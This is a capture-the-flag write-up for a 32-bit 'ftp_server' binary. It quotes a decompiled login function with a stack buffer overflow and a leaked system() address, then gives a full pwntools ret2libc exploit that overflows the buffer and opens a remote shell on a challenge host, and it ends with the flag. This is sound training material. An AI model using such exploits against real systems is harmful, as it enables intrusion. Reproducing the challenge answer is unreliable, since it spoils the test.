Description
We got a very strange ftp console? Can you retrive the flag?
Flag format: ctf{sha256sum}
Files : ftp_server
Preambule
First, we are analyzing the given file.
ftp_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=7ca14ac96e9c6cf8b8f860d733a6603bd192530d, for GNU/Linux 3.2.0, not stripped
After decompiling it, one function seems interesting:
int login(void)
{
char s1[32]; // [esp+Ch] [ebp-4Ch] BYREF
char s[32]; // [esp+2Ch] [ebp-2Ch] BYREF
int v3; // [esp+4Ch] [ebp-Ch]
v3 = 0;
puts("220 FTP Service Ready");
printf("USER ");
fgets(s, 32, stdin);
s[strcspn(s, "\n")] = 0;
puts("331 Username okay, need password.");
printf("[DEBUG] Password buffer is located at: %lp\n", &system);
printf("PASS ");
fgets(s1, 100, stdin);
if ( !strcmp(s, "admin") && !strcmp(s1, "password123\n") )
v3 = 1;
if ( v3 )
return puts("230 User logged in, proceed.");
else
return puts("530 Login incorrect.");
}
Analysing
We can connect, use “admin” as login and “password123” as password, and that’s it… no flag printed.
The first interesting thing is the server is getting 100 bytes length password and stores it in a 32 bytes variable. It’s not a good idea.
The second is the “debug” line that show us the system address…
Resolution
The idea is to pop a shell in the remote server.
With the leaked system address, we can use the libc-database to find the offsets of system and /bin/sh string
from pwn import *
import re
# Launch process
#p = process('./ftp_server', stdin=PTY)
p=remote('34.159.103.1','31550')
# Waits for user
print(p.recvuntil('USER '))
# Send admin user
p.sendline(b'admin')
# Waits for pass
output = p.recvuntil(b'PASS ')
print(output)
# Extracts system address
leaked_system_addr = re.search(r'0x[0-9a-fA-F]+', output.decode())
if leaked_system_addr:
system_addr = int(leaked_system_addr.group(), 16)
print(f"Leaked system address: {hex(system_addr)}")
else:
print("Failed to leak system address.")
exit()
# List of offsets, can be used for bruteforce
system_offset_list = [
0x048170
]
binsh_offset_list = [
0x1bd0d5
]
for system_offset in system_offset_list:
for binsh_offset in binsh_offset_list:
# Find libc address of "/bin/sh"
libc_base = system_addr - system_offset
binsh_addr = libc_base + binsh_offset
print(f"Testing system_offset: {hex(system_offset)} and binsh_offset: {hex(binsh_offset)}")
print(f"Calculated libc base: {hex(libc_base)}")
print(f"Calculated '/bin/sh' address: {hex(binsh_addr)}")
# Payload
payload = b'A' * 80 # Overflow to EIP
payload += p32(system_addr) # system() address
payload += b'BBBB' # return address, can be anything
payload += p32(binsh_addr) # /bin/sh string address
# Send payload
p.sendline(payload)
# Try to obtain shell
try:
p.interactive()
print(f"Success with system_offset: {hex(system_offset)} and binsh_offset: {hex(binsh_offset)}")
exit() # Sortir si on obtient un shell
except EOFError:
print(f"Failed with system_offset: {hex(system_offset)} and binsh_offset: {hex(binsh_offset)}")
continue
The flag was: CTF{2901497f5e1c3a35d2a9fa028fe1344dd14a3760d555ad477bdd5ee057323bce}